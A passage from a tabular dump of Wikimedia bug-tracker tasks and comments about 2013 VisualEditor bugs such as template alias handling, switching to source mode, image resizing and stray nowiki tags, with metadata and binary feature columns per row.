+**Severity**: normal",High,80.0,1372913640,1373497400.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-xwzbnkc2eempknw62ukj,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+255886,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.,,,1373497400,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+255880,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,"Change 73010 merged by jenkins-bot:
+Retain original param names and ignore leading/trailing whitespace
+
+https://gerrit.wikimedia.org/r/73010",,,1373497076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+255874,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,"Change 73010 had a related patch set uploaded by Trevor Parscal:
+Retain original param names and ignore leading/trailing whitespace
+
+https://gerrit.wikimedia.org/r/73010",,,1373483212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+255867,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,Working on this.,,,1372913735,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xwzbnkc2eempknw62ukj,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+52692,VisualEditor: Binding of section edit link should not be deferred to after document is loaded,"Split from bug 50540 which is entirely different. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372883340,1376520602.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-j2nulhpv4byjb3fgfm3a,task_description,resolved,True,c1,3,True,False,True,0,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+254381,VisualEditor: Binding of section edit link should not be deferred to after document is loaded,This was done as part of the changed integration at the beginning of the month.,,,1376520602,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-j2nulhpv4byjb3fgfm3a,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52687,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Copying from English Wikipedia:
+
+Okay, this one is probably quite tricky: When editing the source code, if an edit conflict arises, you can simply hit the back button, copy the code, and paste it into the updated version. However, with the Visual Editor, this is no longer possible. The content goes away, so you have to re-add it all, which is a huge pain if it involves references and other templates.--¿3family6 contribs 18:25, 3 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47779
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52519
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56465",High,80.0,1372878900,1383257358.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-x7aj5blwrrol3b4wt6un,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+254112,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,*** Bug 52950 has been marked as a duplicate of this bug. ***,,,1393526106,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254107,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Just noting that this was broken in Firefox for a few weeks after launch due to bug 56767, which has now been fixed, and I have disabled my switch editor.",,,1387332793,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,24,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254100,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,verified in betalabs env,,,1383337965,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+254092,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 83049 merged by jenkins-bot:
+Button tool to switch to edit source with changes
+
+https://gerrit.wikimedia.org/r/83049",,,1383241787,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254087,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 92913 merged by Catrope:
+Button tool to switch to edit source with changes
+
+https://gerrit.wikimedia.org/r/92913",,,1383241777,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254081,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 92913 had a related patch set uploaded by Catrope:
+Button tool to switch to edit source with changes
+
+https://gerrit.wikimedia.org/r/92913",,,1383241700,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254074,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"The patch was -2'd pending a rewrite of the toolbar. Although the button works, we have no sensible place to put it until those changes are finished. At the time that was supposed to be a few days, so apologies for the delay, but that work is nearly complete now.",,,1380708262,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+254068,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"btw I found this was requested back in April 2013
+
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_04#London_Underground_article
+
+my hack has been broken by some change in the VE product, and the deployment of this fix has now been delayed one month. Siebrand gave the patch a +1 a week ago. What is next for this to be committed and go live?",,,1380680609,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+254062,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"Change 83049 had a related patch set uploaded by Esanders:
+Button tool to switch to edit source with changes
+
+https://gerrit.wikimedia.org/r/83049",,,1378428058,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254056,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"It isnt that tricky.  Here is a prototype.
+
+https://en.wikipedia.org/wiki/User:John_Vandenberg/switch_editor
+
+The UI could be improved.",,,1374791298,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+254053,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,Also this would be useful to allow people to save unfinished changes for later completion.,,,1373308518,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+254049,VisualEditor: Provide a way for the user to one-way switch from VisualEditor into wikitext source editor mode without saving,"The ability to salvage incomplete edits could have other usefulness.
+
+Copying from English Wikipedia:
+
+I can attest to that, I have done the same thing and so due to inactivity the 'invalid token' message is appearing. No idea what to do, currently my tab is still open containing my edits which cannot be saved, I don't want to start over (quite a bit of work here), any suggestions? Copy-pasting to a text editor is not an option since I did mainly lot of linking and minor fixes. -Ugog Nizdast (talk) 10:04, 3 July 2013 (UTC)",,,1372944038,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-x7aj5blwrrol3b4wt6un,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+52682,"VisualEditor: ""Undo"" of image resizing causes wonky displacement","From English Wikipedia:
+
+'''Steps to reproduce:'''
+* Edit the [[Vogrie House]] article in the visual editor.
+* Resize the image. Larger or smaller doesn't matter.
+* Press either CTRL + Z, or undo the edit using the undo button. 
+
+Instead of undoing the edit, it suddenly enlarges the image object. The image is placed in the center of the screen, and the object itself even overlaps the main navigation in the Mono interface. Of course as always: Firefox 22 used to test this. [[User:Excirial|<font color=""191970"">'''Excirial''']]</font><sup> ([[User talk:Excirial|<font color=""FF8C00"">Contact me</font>]],[[Special:Contributions/Excirial|<font color=""FF8C00"">Contribs</font>]])</sup> 18:03, 3 July 2013 (UTC)
+
+See screenshot:
+http://en.wikipedia.org/wiki/File:VisualEditor_-_Undoing_a_resize_issue.png
+
+I tried on Chrome on a Mac, and it didn't work there, either, but instead shoved the image to the left of the screen
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372875420,1372901775.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-vpsb5oulcmbkksi2sshi,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+253797,"VisualEditor: ""Undo"" of image resizing causes wonky displacement","We've now fixed this, and deployed it; sorry for the issue.",,,1372901775,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vpsb5oulcmbkksi2sshi,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52659,VisualEditor: Miscellaneous additions of nowiki tags,"In https://en.wikipedia.org/w/index.php?title=List_of_socialist_countries&curid=7252916&diff=562675715&oldid=562675131
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372853220,1373638390.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-u7msjuo24hkzquuc5w2p,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252442,VisualEditor: Miscellaneous additions of nowiki tags,"(In reply to comment #4)
+> Has the fix been rolled out to svwp?
+
+It has.
+
+> Because I just got a similar error where
+> the nowiki was added far from where I was doing my actual changes:
+> 
+> http://sv.wikipedia.org/w/index.
+> php?title=Stockholm_Arlanda_Airport&diff=22544469&oldid=22428046
+
+I believe that that is actually a different bug here, with Parsoid being overly keen to add <nowiki>, rather than this motley collection of other kinds of <nowiki> issues. :-(",,,1373841311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+252435,VisualEditor: Miscellaneous additions of nowiki tags,"Has the fix been rolled out to svwp? Because I just got a similar error where the nowiki was added far from where I was doing my actual changes:
+
+http://sv.wikipedia.org/w/index.php?title=Stockholm_Arlanda_Airport&diff=22544469&oldid=22428046",,,1373831819,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+252431,VisualEditor: Miscellaneous additions of nowiki tags,"First one: This is NOTABUG. User has selected/inserted the wrong text if they didn't want this - see bug 51173.
+
+Second one: Definitely a bug, and one which I believe we have now fixed with the changes to how <nowiki>s are applied in Parsoid.
+
+Third one: Same as two - appears now to be fixed. Sorry for the inconvenience. :-(
+
+Fourth one: This is NOTABUG. User has created a paragraph with some leading whitespace, which means Parsoid needs to do something to stop it turning into a preformatted block. The solution is inelegant (we don't need to select the entire paragraph to stop this), but that is bug 50841.",,,1373638390,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,True,,,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+252429,VisualEditor: Miscellaneous additions of nowiki tags,"Here are two more in case it helps with diagnosis:
+
+https://fr.wikipedia.org/w/index.php?diff=94682339
+
+https://en.wikipedia.org/w/index.php?diff=562790609",,,1372941123,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0
+252425,VisualEditor: Miscellaneous additions of nowiki tags,Again at https://en.wikipedia.org/w/index.php?title=Beximco&curid=1725818&diff=562676888&oldid=561183206 (possibly related?),,,1372853999,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-u7msjuo24hkzquuc5w2p,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0
+52652,VisualEditor: VE interface overlapping with main WP interface in monobook w/ small resolutions,"See https://en.wikipedia.org/wiki/File:Visual_Editor_-_Overlapping_issue.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372843980,1372893914.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n27a25omdfur3socqod5,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252127,VisualEditor: VE interface overlapping with main WP interface in monobook w/ small resolutions,Deployed and confirmed as fixed.,,,1372893914,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n27a25omdfur3socqod5,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+252121,VisualEditor: VE interface overlapping with main WP interface in monobook w/ small resolutions,I think that this was fixed in gerrit 70851 - we'll be deploying it later today.,,,1372867380,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n27a25omdfur3socqod5,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+52645,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"What it says on the tin; if you resize an image, it with reports ""this isn't a change, can't save"" or saves and silently doesn't do anything.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372840560,1392223392.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-l36v7qffhro3qiv5v3ya,task_description,resolved,True,c1,3,False,False,False,0,,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+251735,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,Moved to bug 61270,,,1392223392,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+251726,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"I'm not sure if this is the same issue, but as reported on English Wikipedia and tested by myself, using the image resizer to ""Make full size"" resulted in either a notice that no change had been made or a silent failure to save.
+
+This was tested on FF26, W7 and Chrome 32.0.1700.107 m, W7. 
+
+The reporting editor concludes that ""These new settings, for what they are worth, only work if the image already has a size indication (200px, 250px*250px, whatever), not when it only has a 'thumb' indication. Sadly, the latter is the default and by far most common situation.""
+
+He also questions the purpose of ""Make full size"", but I'll report that separately. 
+
+See: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=595141503#Advanced_image_settings.3F_More_VisualEditor_rubbish.",,,1392214363,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,False,,,32,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0
+251720,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,*** Bug 51026 has been marked as a duplicate of this bug. ***,,,1374106684,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251715,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,Fixed and will be going out in a few minutes.,,,1374015979,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+251709,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"Change 73965 merged by jenkins-bot:
+Create MWResizeableNode mixin to control defaultSize flag
+
+https://gerrit.wikimedia.org/r/73965",,,1374015086,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251702,VisualEditor: Resizing an image which doesn't already have an explicit size set doesn't work,"Change 73965 had a related patch set uploaded by Esanders:
+Create MWResizeableNode mixin to control defaultSize flag
+
